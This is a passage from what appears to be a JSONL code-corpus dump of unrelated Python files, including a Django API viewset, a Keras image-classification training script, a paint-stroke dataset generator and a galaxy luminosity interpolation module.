tot_reads = ';'.join(['' if v == None else str(v) for v in totreads])\r\n s = list(set(tot_reads))\r\n if len(s) == 0 or (len(s) == 1 and s[0] == ';'):\r\n tot_reads = None\r\n af = ';'.join(['' if v == None else str(v) for v in afs])\r\n s = list(set(af))\r\n if len(s) == 0 or (len(s) == 1 and s[0] == ';'):\r\n af = None\r\n hap_block = ';'.join(['' if v == None else str(v) for v in hap_blocks])\r\n s = list(set(hap_block))\r\n if len(s) == 0 or (len(s) == 1 and s[0] == ';'):\r\n hap_block = None\r\n hap_strand = ';'.join(['' if v == None else str(v) for v in hap_strands])\r\n s = list(set(hap_strand))\r\n if len(s) == 0 or (len(s) == 1 and s[0] == ';'):\r\n hap_strand = None\r\n out = {'phred': phred, 'filter': filter, 'zygosity': zygosity, \r\n 'alt_reads': alt_reads, 'tot_reads': tot_reads, 'af': af,\r\n 'hap_block': hap_block, 'hap_strand': hap_strand,}\r\n return out\r\n\r\nif __name__ == '__main__':\r\n summarizer = CravatPostAggregator(sys.argv)\r\n summarizer.run()\r\n","sub_path":"postaggregators/vcfinfo/vcfinfo.py","file_name":"vcfinfo.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"614305968","text":"from __future__ import absolute_import\n\nfrom rest_framework import permissions, viewsets\n\nfrom measurements.models import UserMetric\n\nfrom api.v1 import pagination, serializers\n\n\nclass UserMetricViewSet(viewsets.ModelViewSet):\n \"\"\"\n Viewset to query user's UserMetrics and create new ones\n \"\"\"\n permission_classes = (permissions.IsAuthenticated,)\n pagination_class = pagination.UserMetricPagination\n\n def get_serializer_class(self):\n serializer = serializers.UserMetricSerializer\n if self.request.method in ['POST', 'PUT']:\n serializer = serializers.UserMetricPOSTSerializer\n # serializer.context['request'] = self.request\n return serializer\n\n def get_serializer_context(self):\n context = super(UserMetricViewSet, self).get_serializer_context()\n context.update({\n \"request\": self.request\n })\n return context\n\n def get_queryset(self):\n return UserMetric.objects.filter(user=self.request.user).order_by('id')","sub_path":"src/api/v1/views/usermetrics.py","file_name":"usermetrics.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"87029359","text":"\"\"\" Configuration file \"\"\"\nimport os\n\n\nACCOUNTS = [\n # Account list\n # example :\n # {\n # 'name': 'myname', # For login\n # 'password': 'test', # Password\n # 'address': 'my super mail ', # The from address\n # 'accept': ['@example.com'], # All accepted email address suffixes\n # }\n]\n\nDEBUG = False\n\nSTORAGE = {\n \"backend\": \"byemail.storage.tinydb.Backend\",\n \"datadir\": \"data/\"\n}\n\nHTTP_CONF = {\n 'host': 'localhost',\n 'port': 8000\n}\n\nSMTP_CONF = {\n 'hostname': 'localhost', # None for default\n 'port': 8025,\n 'ssl_context': None, # For enabling SSL provide context\n}\n\nOUTGOING_MIDDLEWARES = [\n # Next middleware not working yet\n # 'byemail.middlewares.dkim.sign'\n]\n\nINCOMING_MIDDLEWARES = [\n # Next middleware not working yet\n # 'byemail.middlewares.dkim.verify'\n]\n","sub_path":"byemail/settings_tpl.py","file_name":"settings_tpl.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"530450565","text":"from random import randrange\n\ndef lancer():\n fini = False\n old_question = \"\"\n while not fini:\n qf = open('./0/questions.txt','r')\n question = qf.read()\n qf.close()\n if question != old_question :\n rf = open('./0/reponses.txt','w')\n if \"activer le pouvoir\" in question:\n rf.write(str(1))\n else:\n rf.write(str(0))\n rf.close()\n old_question = question\n infof = open('./0/infos.txt','r')\n fini = \"Score\" in infof.read()\n infof.close()\n print(\"partie finie\")","sub_path":"dummy0_ex2.py","file_name":"dummy0_ex2.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"250657910","text":"# Algorithm in python to print all prime numbers below a certain number given it is a smaller number\n\n\ndef SieveOfEratosthenes(n):\n # create a list init\n prime_list = []\n for i in range(2, n+1):\n if i not in prime_list:\n print(i)\n for x in range(i*i, n+1, i):\n prime_list.append(x)\nprint(SieveOfEratosthenes(35));\n\nprint(\"break\")\n\n# Dynamic fibonacci sequence solving algorithm for position\narray = [0, 1] \n\ndef Dynamic_Fibonacci(n): \n if (n < 0): \n return 0\n elif (n <= len(array)): \n return array[n-1] \n else: \n dyno_fib = Dynamic_Fibonacci(n-1)+Dynamic_Fibonacci(n-2) \n array.append(dyno_fib) \n return dyno_fib \n\n# Call a position w function\nprint(Dynamic_Fibonacci(11))","sub_path":"src/stretch.py","file_name":"stretch.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"652297678","text":"import time\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport os\nfrom PIL import Image\n\nfrom sklearn.metrics import confusion_matrix, cohen_kappa_score\n\nfrom tensorflow.python.keras.models import Model\nfrom tensorflow.python.keras.layers import Input, Dense, Flatten, Conv2D, MaxPooling2D, BatchNormalization\nfrom tensorflow.python.keras.optimizers import RMSprop, Adam\n\nfrom tensorflow.python.keras.utils import to_categorical, multi_gpu_model\nfrom tensorflow.python.keras import callbacks\n\n# Scripts created by me:\nfrom models import inception_resnet_v2\nfrom utils import utils\n\n### GPU 2\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"1\"\n\nstart_time = time.time()\n\n### Model Name\nmodel_name = \"SimpleBaseline_Small_Shallower_FromScratch_RMSProp_Default_e_25_is_48_48\" ## ENSURE CORRECT\n\n# Images Directory\ndir_images = \"./data/processed/resized-48-48/\" ## ENSURE CORRECT\n\n\n### INFO FOR TENSORBOARD\n# Note: put the tensorboard log into a subdirectory of the main logs folder, i.e. /logs/run_1, /logs/run_2\n# This lets tensorboard display their output as separate runs properly. For now we'll just automatically increment run number\ndir_tensorboard_logs = \"./tensorboard_logs/\"\ndir_tensorboard_logs = os.path.abspath(dir_tensorboard_logs)\nnum_tensorboard_runs = len(os.listdir(dir_tensorboard_logs))\ndir_tensorboard_logs = dir_tensorboard_logs + \"/\" + model_name\n# Note: make the log directory later, in case the code fails before the training step and the new directory is left empty\n\ncallback_tensorboard = callbacks.TensorBoard(log_dir=dir_tensorboard_logs, write_grads=True, write_images=True, histogram_freq=1)\n\n\n### DATA PREP\n\n# Get images paths & split training/validation\nimages_summary = pd.read_csv(\"./results/images_summary.csv\")\nimages_summary_train = images_summary[images_summary.DataRole==\"train\"]\nimages_summary_valid = images_summary[images_summary.DataRole==\"valid\"]\n\nfilenames_relative_train = images_summary_train.FileName_Relative.values\nfilenames_train = dir_images + filenames_relative_train\n\nfilenames_relative_valid = images_summary_valid.FileName_Relative.values\nfilenames_valid = dir_images + filenames_relative_valid\n\n\n# Get associated labels and convert to one-hot encoding\nlabels_train_scalar = images_summary_train.StudyOutcome.values\nlabels_train_onehot = to_categorical(labels_train_scalar)\nnum_classes = labels_train_onehot.shape[1]\n\nlabels_valid_scalar = images_summary_valid.StudyOutcome.values\nlabels_valid_onehot = to_categorical(labels_valid_scalar)\n\n# Package train & valid items into dicts for easy reference/iteration\nfilenames_dict = {\"train\": filenames_train, \"valid\": filenames_valid}\nlabels_dict_scalar = {\"train\":labels_train_scalar, \"valid\":labels_valid_scalar}\nlabels_dict_onehot = {\"train\":labels_train_onehot, \"valid\":labels_valid_onehot}\n\n\n# Check to_categorical working as intended (e.g. not differently for train vs valid, 0->[1,0], 1->[0,1])\n# Need to ensure this as the categorical encoding (0->[1,0], 1->[0,1]) is assumed when handling predictions\n# We check for mismatches element-wise across the entire list of labels, to ensure no reordering took place\nfor role in ['train','valid']:\n for x in range(2): # Iterate over outcomes 0/1\n mismatch = False\n\n # Compare orig & nohot labels\n labels_orig = images_summary[images_summary.DataRole==role].StudyOutcome.values\n labels_scalar = labels_dict_scalar[role]\n if sum(labels_orig!=labels_scalar)!=0:\n mismatch=True\n\n # Compare orig & one-hot labels\n labels_onehot = labels_dict_onehot[role]\n if x==0:\n labels_onehot_values = abs(labels_onehot[:,x]-1) # 0's are flagged 1 in the first one-hot column, so swap 0 to 1 and vice versa to match orig no-hot labels\n else:\n labels_onehot_values=labels_onehot[:,x] # The second one-hot column will match the original no-hot labels (i.e. 1's flagged as 1, 0's as 0)\n\n if sum(labels_orig!=labels_onehot_values)!=0:\n mismatch=True\n\n num_outcomes = sum(labels_dict_scalar[role]==x)\n num_outcomes_categorical = np.sum(labels_dict_onehot[role],axis=0)[x]\n\n if mismatch:\n print(\"WARNING: to_categorical not working as intended!\")\n print(\"Num \" + str(x) + \" Raw (\" + role + \"):\", num_outcomes)\n print(\"Num \" + str(x) + \" Categorical (\" + role + \"):\", num_outcomes_categorical)\n exit()\n\n\n# Get images dimension (all input images are same dimension, per pre-processing script)\ntest_image = Image.open(filenames_train[0])\nimage_width, image_height = test_image.size # PIL.Image gives size as (width, height)\nimage_depth = 1 # VGG16 requires 3-channel images\nprint(\"Image Dimensions:\", image_height, image_width, image_depth)\n\n# TRAINING PARAMS\nnum_images_train = len(filenames_train)\nnum_images_valid = len(filenames_valid)\nbatch_size = 512\nnum_epochs = 25\nnum_steps_per_epoch = int(np.floor(num_images_train/batch_size)) # Use entire dataset per epoch; round up to ensure entire dataset is covered if batch_size does not divide into num_images\nnum_steps_per_epoch_valid = int(np.floor(num_images_valid/batch_size)) # As above\n\nseed_train = 587\nseed_valid = seed_train+1\n\n# Now create the training & validation datasets\ndataset_train = utils.create_dataset(filenames = filenames_train\n, labels = labels_train_onehot\n, num_channels = image_depth\n, batch_size = batch_size\n, shuffle_and_repeat = True\n, repeat_count = num_epochs\n, seed = seed_train)\n\ndataset_valid = utils.create_dataset(filenames = filenames_valid\n, labels = labels_valid_onehot\n, num_channels = image_depth\n, batch_size = batch_size\n, shuffle_and_repeat = True\n, repeat_count = num_epochs\n, seed = seed_valid)\nprint(\"DATASETS CREATED\")\n\n### BUILD MODEL\n# Big: initial_filters=256, size_final_dense=100\n# Small: initial_filters=32, size_final_dense=100\ndef build_model(initial_filters, size_final_dense):\n\n # Input Layer\n image_input = Input(shape=(image_height, image_width, image_depth)) # Final element is number of channels, set as 1 for greyscale\n #x = BatchNormalization()(image_input)\n\n ### Block 1\n # Convolutional Layer 1\n x = Conv2D( filters = initial_filters\n , kernel_size = (3,3)\n , activation='relu'\n , padding='same' )(image_input)\n #x = BatchNormalization()(x)\n\n # Convolutional Layer 2\n x = Conv2D( filters = initial_filters\n , kernel_size = (3,3)\n , activation='relu'\n , padding='same' )(x)\n #x = BatchNormalization()(x)\n\n # Pooling Layer 1 - halve spatial dimension\n x = MaxPooling2D(pool_size = (2,2))(x)\n\n\n ### Block 2\n # Convolutional Layer 3 - double number of filters\n x = Conv2D( filters = initial_filters*2\n , kernel_size = (3,3)\n , activation='relu'\n , padding='same' )(x)\n #x = BatchNormalization()(x)\n\n # Convolutional Layer 4\n x = Conv2D( filters = initial_filters*2\n , kernel_size = (3,3)\n , activation='relu'\n , padding='same' )(x)\n #x = BatchNormalization()(x)\n\n # Pooling Layer 2 - halve spatial dimension\n x = MaxPooling2D(pool_size = (2,2))(x)\n\n\n ### Block 3\n # # Convolutional Layer 5 - double number of filters\n # x = Conv2D( filters = initial_filters*2*2\n # , kernel_size = (3,3)\n # , activation='relu'\n # , padding='same' )(x)\n # #x = BatchNormalization()(x)\n #\n # # Convolutional Layer 6\n # x = Conv2D( filters = initial_filters*2*2\n # , kernel_size = (3,3)\n # , activation='relu'\n # , padding='same' )(x)\n # #x = BatchNormalization()(x)\n #\n # # Pooling Layer 3 - halve spatial dimension\n # x = MaxPooling2D(pool_size = (2,2))(x)\n\n # Dense Layer\n x = Flatten()(x)\n x = Dense(size_final_dense,activation='relu')(x)\n\n # Output Layer\n out = Dense(num_classes,activation='softmax')(x) # Task is binary classification\n\n model = Model(image_input, out)\n return(model)\n\n\n### TRAINING\n# Open tensorflow session\ninit = tf.group(tf.global_variables_initializer(),tf.local_variables_initializer())\nconfig = tf.ConfigProto()\n#config.log_device_placement=True\n\nwith tf.Session(config=config) as sess:\n sess.run(init)\n print(\"TF SESSION OPEN\")\n\n # Build the model\n model = build_model(initial_filters=32, size_final_dense=100)\n print(\"MODEL BUILT\")\n\n # Now train it\n opt_RMSprop = RMSprop()\n #callback_lr_plateau = callbacks.ReduceLROnPlateau(monitor='val_loss', factor=0.2, patience=5)\n model.compile(optimizer=opt_RMSprop,loss='categorical_crossentropy', metrics=['accuracy'])\n print(\"MODEL COMPILED\")\n\n train_start = time.time()\n os.makedirs(os.path.dirname(dir_tensorboard_logs), exist_ok=True) # Make tensorboard log directory\n model.fit(dataset_train\n , epochs=num_epochs\n , steps_per_epoch=num_steps_per_epoch\n , validation_data=dataset_valid\n , validation_steps=num_steps_per_epoch_valid\n , callbacks = [callback_tensorboard]\n )\n print(\"Training time: %s seconds\" % (time.time() - train_start))\n print(model.summary())\n\n # Save the model\n dir_keras_saves = './keras_saves/'\n model.save(dir_keras_saves + model_name + \".h5\")\n\n\n print(\"TRAINING DONE\")\n\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n","sub_path":"keras_simple_baseline_shallower_GPU_2.py","file_name":"keras_simple_baseline_shallower_GPU_2.py","file_ext":"py","file_size_in_byte":9384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"614326862","text":"'''\nGerar Números Aleatórios em Python - A Biblioteca random\n'''\n\"\"\"\nCrie um programa em Python que simula o resultado de um dado, ou seja,\ngera números aleatórios de 1 até 6, quantas vezes o usuário desejar.\n\"\"\"\n# importando a biblioteca random\nimport random\n#\ncontinuar=1\n# loop infinito enquanto continuar receber n° != 0\nwhile continuar:\n # dentro do print chamei random.randint(1,6) que gera número aleatórios\n print(\"Número aleatório gerado:\", random.randint(1,6))\n continuar=int(input(\"Gerar novamente?\\n1.Sim\\n0.Não\\nResposta:\"))\n","sub_path":"Modulos/Exemp002.py","file_name":"Exemp002.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"46807545","text":"import os\nimport argparse\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom tqdm import tqdm\nfrom PIL import Image\nfrom scipy.stats import norm\nfrom bezier.curve import Curve\n\nSTENCIL_SIZE = 64\n\n\nclass Brush():\n def __init__(self, brush, stencil_size, n_per_size=10):\n \"\"\"\n A Brush object is used for drawing strokes to a canvas.\n\n Parameters\n ----------\n brush: function\n Function for generating an alphamap of a given size.\n stencil_size: int\n Size of the stencil to draw to.\n n_per_size: int, default 10\n Number of brush samples to store in the dictionary per\n brush diameter.\n \"\"\"\n self.min_size = max(3, stencil_size // 10)\n self.max_size = stencil_size // 2\n self.stencil_size = stencil_size\n\n self._brush_dict = self._create_brush_dict(\n brush, self.min_size, self.max_size, n_per_size)\n\n def _create_brush_dict(self, brush, min_size, max_size, n):\n \"\"\"\n Generate a number of brush alpha's for different brush sizes.\n \"\"\"\n brush_dict = {}\n for size in range(min_size, max_size + 1):\n brush_dict[size] = [brush(size) for _ in range(n)]\n\n return brush_dict\n\n def show_brush_dict(self, n=5):\n if n == 0:\n n = len(self._brush_dict[self.min_size])\n\n canvas = np.zeros(\n (self.stencil_size * len(self._brush_dict),\n self.stencil_size * n))\n\n for idx, size in enumerate(range(self.min_size, self.max_size + 1)):\n for jdx in range(n):\n alpha = self._brush_dict[size][jdx]\n patch = np.zeros((self.stencil_size, self.stencil_size))\n draw_alpha(\n patch, alpha,\n (self.stencil_size // 2, self.stencil_size // 2)\n )\n\n canvas[\n self.stencil_size * idx:self.stencil_size * (idx+1),\n self.stencil_size * jdx:self.stencil_size * (jdx+1)\n ] = patch\n\n plt.imshow(canvas)\n plt.axis('off')\n plt.show()\n\n def draw_stroke(self, canvas, action, color, offset=(0, 0)):\n \"\"\"\n Draw a stroke onto a canvas.\n A stroke's shape consists of a start, control, and end position, and\n a start and end size. The stroke shape is combined with a color to\n create the complete stroke.\n\n The stroke image in blended onto a canvas, which can be larger than\n the stroke image itself.\n\n Parameters\n ----------\n canvas\n action : list of float\n A list of values describing the stroke's control points and\n sizes.\n Action values lie in the range (0, 1).\n color : tuple of float,\n offset : tuple of float\n \"\"\"\n positions = (self.stencil_size * action[:6]).reshape(-1, 2) \\\n + np.array(offset)[None, :]\n start, ctrl, end = positions\n start_size, end_size = action[6:]\n\n # curve = Bezier(start, ctrl, end)\n curve = Curve.from_nodes(positions.T)\n alphamap = np.zeros_like(canvas[..., 0])\n\n # Base the number of drawing steps on the length of the curve.\n n = int(curve.length)\n\n # Draw alphamap.\n for t in np.linspace(0, 1, n):\n position = curve.evaluate(t).squeeze().astype(int)\n size = (1 - t) * start_size + t * end_size\n size = (1 - size) * self.min_size + size * self.max_size\n size = int(round(size))\n\n alpha = random.choice(self._brush_dict[size])\n\n draw_alpha(alphamap, alpha, position)\n\n # Draw color to the canvas based on the generated alphamap.\n canvas = np.copyto(\n canvas,\n alphamap[..., None] * color[None, None, :]\n + (1 - alphamap[..., None]) * canvas\n )\n\n\ndef brush_gaussian():\n \"\"\"\n Create a Gaussian alphamap of a given diameter.\n The Gaussian's standard deviation is set to fit the curve from\n the 0.001-th to the 0.999-th percentile within `diameter`.\n \"\"\"\n def inner(size):\n size = int(round(size))\n\n # Make sure to cover 99.8% of the area under the curve.\n x = np.linspace(norm.ppf(0.001), norm.ppf(0.999), size)\n\n xx, yy = np.meshgrid(x, x)\n normal = norm.pdf(xx, 0, 0.5) * norm.pdf(yy, 0, 0.5)\n\n return normal\n\n return inner\n\n\ndef brush_blobs():\n \"\"\"\n Sample a blob brush consisting of a combination of Gaussian\n brushes.\n \"\"\"\n def inner(diameter):\n diameter = int(round(diameter))\n n = 20\n\n # Select the positions for the subbrushes.\n positions = np.random.randn(n, 2)\n positions = np.clip(positions, norm.ppf(0.001), norm.ppf(0.999))\n positions = positions / (2.5 * norm.ppf(0.999)) + 0.5\n positions = (positions * diameter).astype(int)\n\n sizes = np.random.randint(diameter // 3, 2 * diameter // 3, n)\n\n canvas = np.zeros((diameter, diameter))\n\n for position, size in zip(positions, sizes):\n dot = brush_gaussian(size)\n draw_alpha(canvas, dot, position)\n\n return canvas\n\n return inner\n\n\ndef brush_calligraphy(angle=0.25):\n \"\"\"\n Sample from a calligraphy brush.\n \"\"\"\n def inner(diameter):\n diameter = int(round(diameter))\n\n image = np.zeros((STENCIL_SIZE, STENCIL_SIZE))\n image[24:40, 4:60] = 1\n\n theta = (0.05 * np.random.randn(1)[0] + angle) * np.pi\n A = np.array([[np.cos(theta), -np.sin(theta)],\n [np.sin(theta), np.cos(theta)]])\n\n # Apply the transformation multiple times to get a smoothing effect.\n image = transform(image, A, resolution=diameter)\n image = transform(image, np.linalg.inv(A), resolution=diameter)\n image = transform(image, A, resolution=diameter)\n\n return (image - image.min()) / (image.max() - image.min())\n\n return inner\n\n\ndef transform(image, A, resolution):\n \"\"\"\n Transform an image using a sample field.\n\n A grid of sampling points is placed over the image uniformly (the\n number of points is determined by `resolution`).\n These points are transformed using the matrix `A` after which the\n average value under each point is sampled.\n These sampled are then reshaped into the transformed image.\n \"\"\"\n height, width = image.shape\n\n # Create the sample field.\n x = np.linspace(-0.5, 0.5, resolution)\n xx, yy = np.meshgrid(x, x)\n sample_field = np.stack((xx, yy)).reshape(2, -1)\n sample_field += 0.005 * np.random.randn(*sample_field.shape)\n\n # Transform the sample coordinates.\n A = np.linalg.inv(A)\n sample_field = A @ sample_field\n\n sample_field += 0.5\n sample_field = np.clip(sample_field, 0, 1)\n\n sample_field *= height - 1\n\n # Sample the image.\n btm = np.floor(sample_field).astype(int)\n top = np.ceil(sample_field).astype(int)\n\n sample = np.stack((\n image[top[1], btm[0]],\n image[btm[1], btm[0]],\n image[top[1], top[0]],\n image[btm[1], top[0]])).mean(0)\n\n sample = sample.reshape(resolution, resolution)\n\n return sample\n\n\ndef draw_alpha(dst, src, position):\n \"\"\"\n Draw a small alphamap onto a larger one.\n The source alphamap can be offset if.\n \"\"\"\n x, y = position\n h, w = src.shape\n H, W = dst.shape\n\n x -= w // 2\n y -= h // 2\n\n # Correct src if it draws outside the dst borders.\n if y < 0:\n src = src[abs(y):]\n y = 0\n if x < 0:\n src = src[:, abs(x):]\n x = 0\n\n h, w = src.shape\n\n if H - (h + y) < 0:\n src = src[:H - (h + y)]\n if W - (w + x) < 0:\n src = src[:, :W - (w + x)]\n\n # Blend the source image with the patch of the destination image.\n patch = dst[y:y+h, x:x+w]\n patch = src + (1 - src) * patch\n\n dst[y:y+h, x:x+w] = patch\n\n\ndef generate_dataset(csv_file, directory, brush, args):\n label = \"{};{};{};{};{};{};{};{};{};{};{};{}\\n\"\n header = label.format(\n 'image',\n 'start_x', 'start_y', 'ctrl_x', 'ctrl_y', 'end_x', 'end_y',\n 'size_start', 'size_end',\n 'red', 'green', 'blue'\n )\n\n csv_file.write(header)\n\n for idx in tqdm(range(args.number)):\n image_name = f'{idx:07d}.png'\n image_path = os.path.join(directory, 'images', image_name)\n\n canvas = np.zeros((args.size, args.size, 3))\n action = np.random.rand(8)\n color = np.random.rand(3)\n brush.draw_stroke(canvas, action, np.ones(3))\n alpha = canvas.mean(-1)[..., None]\n canvas = np.ones((args.size, args.size, 3)) \\\n * color[None, None, :]\n canvas = np.concatenate((canvas, alpha), axis=-1)\n\n canvas = (255 * canvas).astype(np.uint8)\n image = Image.fromarray(canvas)\n image.save(image_path)\n\n action = (255 * action).astype(np.uint8)\n color = (255 * color).astype(np.uint8)\n csv_file.write(label.format(image_name, *action, *color))\n\n csv_file.close()\n\n\ndef test_strokes(args):\n print(\"Create brush\")\n brush_prototype = brush_calligraphy(angle=0.25)\n brush = Brush(brush_prototype, args.size)\n\n plt.figure()\n plt.title(\"Brush dictionary\")\n brush.show_brush_dict()\n plt.close()\n\n canvas = np.zeros((4 * args.size, 4 * args.size, 3))\n\n # Draw a simple grid.\n canvas[:, ::args.size // 2, :] = 0.5\n canvas[::args.size // 2, :, :] = 0.5\n canvas[:, ::args.size, :] = 1\n canvas[::args.size, :, :] = 1\n\n print(\"Draw strokes\")\n for x in range(0, 4 * args.size, args.size):\n for y in range(0, 4 * args.size, args.size):\n action = np.random.rand(8)\n color = np.random.rand(3)\n\n brush.draw_stroke(canvas, action, color, (x, y))\n\n plt.figure()\n plt.imshow(canvas)\n plt.axis('off')\n plt.show()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-n', dest='number', type=int, default=1000,\n help=\"The number of stroke images to create.\"\n )\n parser.add_argument(\n '-d', dest='directory', type=str, default='strokes',\n help=\"Root directory to store the generated images and labels.\"\n )\n parser.add_argument(\n '-s', dest='size', type=int, default=32,\n help=\"Image size in pixels.\"\n )\n parser.add_argument(\n '-t', dest='test', action='store_true',\n help=\"Display a number of strokes on a test image without saving.\"\n )\n args = parser.parse_args()\n\n if args.test:\n test_strokes(args)\n else:\n prototype = brush_calligraphy(angle=0.25)\n brush = Brush(prototype, args.size)\n\n os.makedirs(os.path.join(args.directory, 'images'), exist_ok=True)\n csv_path = os.path.join(args.directory, 'labels.csv')\n csv_file = open(csv_path, 'w')\n\n try:\n generate_dataset(csv_file, args.directory, brush, args)\n except Exception as e:\n csv_file.close()\n raise e\n","sub_path":"strokes.py","file_name":"strokes.py","file_ext":"py","file_size_in_byte":11074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"606293931","text":"import os\nimport sys\nimport random\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"Myproject.settings.dev\")\nimport django\ndjango.setup()\nfrom home import models\nwith open(\"fangziinfo.txt\",\"rt\") as f :\n for i in f :\n l=i.split(\"|\").__iter__()\n\n while True:\n yuanjia=next(l)[0:4]\n title=next(l)\n size=next(l)\n orientations=next(l)\n level=next(l)\n xiaoqu=next(l)\n xianjia=str(int(yuanjia)+100)\n i=random.randrange(0,9999999)\n reg=models.Housing_estate.objects.filter(name=xiaoqu)\n if not reg :\n xiaoqu_obj=models.Housing_estate.objects.create(name=xiaoqu,xiaozheng_id=random.randint(1,17),ditie_id=random.randint(1,7),transportation_id=random.randint(1,3))\n else :\n xiaoqu_obj=reg.first()\n Expenses_obj=models.Expenses.objects.filter(id=random.randint(1,4)).first()\n user=models.Housing.objects.create(room_id=i,title=title,size=size,xiaoqu=xiaoqu_obj,xianjia=xianjia,orientation=random.randint(1,4),level=level,hot=random.randint(0,1000),zhoubian_id=random.randint(1,3),fangdong_id=1)\n user.expenses.add(Expenses_obj)\n user.allocation.add(*[random.randint(1, 3) for i in range(3)])\n user.save()\n\n\n\n\n","sub_path":"MYproject/Myproject/utils/inser_into_house.py","file_name":"inser_into_house.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"58757131","text":"from datetime import datetime, timedelta\r\nimport calendar\r\n\r\n\r\ndef diff_date(start, end, checkdate):\r\n weekofday = []\r\n start = datetime.strptime(start, \"%Y%m%d\")\r\n end = datetime.strptime(end, \"%Y%m%d\")\r\n dates = [(start + timedelta(days=i)).strftime(\"%Y%m%d\") for i in range((end - start).days + 1)]\r\n for i in range(len(dates)):\r\n year = dates[i][0:4]\r\n year = int(year)\r\n\r\n month = dates[i][4:6]\r\n month = int(month)\r\n\r\n day = dates[i][6:]\r\n day = int(day)\r\n\r\n if (checkdate[calendar.weekday(year, month, day)] == '1'):\r\n weekofday.append(dates[i])\r\n\r\n print(weekofday)\r\n\r\n return weekofday\r\n","sub_path":"movie/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"113937120","text":"import numpy as np\n\n\n#####\nL_sun = 3.846e26\npc = 3.08567758e16\nA_shell = 4 * np.pi * (10 * pc) ** 2\nto_jy = 1e26 * L_sun / A_shell\nzp_jy = 3631.0\n\nmagfac = to_jy / zp_jy\n#####\n\n################################################################################\n\n# interp = 'pow'\n# extrap = 'n'\n\n# if interp == 'log':\n# if extrap == 'y':\n# interpfunc \t= BiLogInterp_extrap\n# else:\n# interpfunc\t= BiLogInterp\n\n# elif interp == 'pow':\n# if extrap == 'y':\n# interpfunc\t= BiPowInterp_extrap\n# else:\n# interpfunc = BiPowInterp\n\n# else:\n# if extrap == 'y':\n# interpfunc \t= BiLinInterp_extrap\n# else:\n# interpfunc \t= BiLinInterp\n\n################################################################################\n\n\n# grids = {}\n\n# for pht in glob.glob(f'./photometry/{system}/*'):\n# grids[pht[-1]] = MakeGrid(pht)\n\n\ndef MakeGrid(bcfile):\n LumConv = np.genfromtxt(bcfile)\n cycles = LumConv[:, 1] == LumConv[0, 1]\n Z_points = LumConv[:, 0][cycles]\n idxs = np.arange(LumConv[:, 0].size)\n rangeedge = idxs[cycles][1]\n age_points = LumConv[:, 1][0:rangeedge]\n fluxs = LumConv[:, -1].copy()\n fluxs.shape = (Z_points.size, rangeedge)\n fluxs, Z_points, age_points = SortFluxGrid(fluxs, Z_points, age_points)\n return fluxs, Z_points, age_points\n\n\ndef SortFluxGrid(fs, Zs, ts):\n Zord = Zs.argsort()\n tord = ts.argsort()\n fs = fs.copy()[Zord, :]\n fs = fs.copy()[:, tord]\n return fs, Zs[Zord], ts[tord]\n\n\ndef BiPowInterp(x_nodes, y_nodes, gridvals, x, y):\n old_settings = np.seterr(all=\"ignore\")\n\n x_nodes = np.clip(np.log10(x_nodes), -100, 100)\n y_nodes = np.clip(np.log10(y_nodes), -4, 100)\n\n x = np.clip(np.log10(x), -100, 100)\n y = np.clip(np.log10(y), -4, 100)\n\n gridvals = np.log10(gridvals)\n\n x_clip = np.clip(x, x_nodes.min(), (x_nodes.max()))\n y_clip = np.clip(y, y_nodes.min(), (y_nodes.max()))\n\n x_digi = np.clip(np.digitize(x_clip, x_nodes), -1, x_nodes.size - 1)\n y_digi = np.clip(np.digitize(y_clip, y_nodes), -1, y_nodes.size - 1)\n\n f_11 = gridvals[y_digi - 1, x_digi - 1]\n f_12 = gridvals[y_digi, x_digi - 1]\n f_21 = gridvals[y_digi - 1, x_digi]\n f_22 = gridvals[y_digi, x_digi]\n\n xdiff1 = x_nodes[x_digi] - x_clip\n xdiff2 = x_clip - x_nodes[x_digi - 1]\n xdiff3 = x_nodes[x_digi] - x_nodes[x_digi - 1]\n\n f_1 = (f_11 * xdiff1 + f_21 * xdiff2) / xdiff3\n f_2 = (f_12 * xdiff1 + f_22 * xdiff2) / xdiff3\n\n ydiff1 = y_nodes[y_digi] - y_clip\n ydiff2 = y_clip - y_nodes[y_digi - 1]\n ydiff3 = y_nodes[y_digi] - y_nodes[y_digi - 1]\n f_out = 10 ** ((ydiff1 * f_1 + ydiff2 * f_2) / ydiff3)\n\n return f_out\n","sub_path":"morpholopy/object/unitilies/luminosities.py","file_name":"luminosities.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"146701886","text":"from __future__ import print_function, absolute_import, division # makes KratosMultiphysics backward compatible with python 2.6 and 2.7\n#import kratos core and applications\nimport KratosMultiphysics\nimport KratosMultiphysics.SolidMechanicsApplication as SolidMechanicsApplication\n#~ import KratosMultiphysics.ExternalSolversApplication as ExtSolvApp\n\n#~ from KratosMultiphysics import *\n#~ from KratosMultiphysics.SolidMechanicsApplication import *\n#~ from 